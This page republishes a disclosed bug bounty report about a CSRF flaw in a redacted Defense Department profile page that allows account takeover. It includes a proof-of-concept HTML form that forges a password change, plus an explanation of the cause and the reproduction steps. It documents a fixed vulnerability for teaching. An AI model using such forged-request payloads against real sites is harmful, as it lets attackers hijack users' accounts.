Skip to content
CSRF Disclosed report Beginner

Account takeover through CSRF in http://███████/██████████/default.asp

A profile update page accepted POST requests without any anti-CSRF protection, so a page hosted elsewhere could silently change a logged-in user's profile fields, including their password. An attacker who lures a victim to that page could then log in with the password they set and take over the account.

Ananda Dhakal Follow

Originally disclosed on HackerOne

  • Triaged in 2 days
  • Fixed in 18 days
  • Disclosed after 10 months

Summary: Hi team,

I have found a CSRF vulnerability in http://██████/████/default.asp that leads to account takeover.

Step-by-step Reproduction Instructions

  1. Go to http://██████████/████████/default.asp and login
  2. Copy the below HTML code
  3. Submit the request and see your profile
  4. Try to login again with your username and password
  5. Use the password ██████████. You will be logged in with ████ as a password.

HTML code:

<html>
  <body>
    <form action="http://██████████/█████████/myprofile.asp?update=yes" method="POST">
      <input type="hidden" name="txtFName" value="███" />
      <input type="hidden" name="txtMI" value="By" />
      <input type="hidden" name="txtLName" value="█████████" />
      <input type="hidden" name="txtTitle" value="" />
      <input type="hidden" name="txtOrganization" value="H1" />
      <input type="hidden" name="txtEmail" value="██████████" />
      <input type="hidden" name="txtPhone" value="" />
      <input type="hidden" name="txtFax" value="" />
      <input type="hidden" name="txtStreet1" value="██████████" />
      <input type="hidden" name="txtStreet2" value="" />
      <input type="hidden" name="txtCity" value="" />
      <input type="hidden" name="state" value="NULL" />
      <input type="hidden" name="txtZip" value="" />
      <input type="hidden" name="txtPassword" value="███" />
      <input type="hidden" name="txtVeriPW" value="█████" />
      <input type="hidden" name="submit1" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Impact

Complete account takeover

The original report as published on HackerOne, by dhakal_ananda. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the profile update endpoint accepted state-changing POST requests without a CSRF token or origin check, and allowed the password to be changed through the same form.

Impact

An attacker could take over a victim's account completely by changing their password through a forged request.

What the attacker needed

Victim is logged in; victim visits attacker-controlled page

How it was found

  1. Log in to the profile page on the target site.
  2. Host the supplied HTML form, which posts to the profile update endpoint.
  3. Submit the form while logged in and observe the profile being updated.
  4. Try to log in again with your original credentials.
  5. Log in successfully using the new password that the form set.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged in, your browser sends your session cookie with every request to the site. If the site does not check that a request really came from its own pages, another website can make your browser send a profile update for you. Here the update form included the password fields, so the attacker could set a new password and then sign in as the victim.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by Ananda Dhakal

View all

4 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.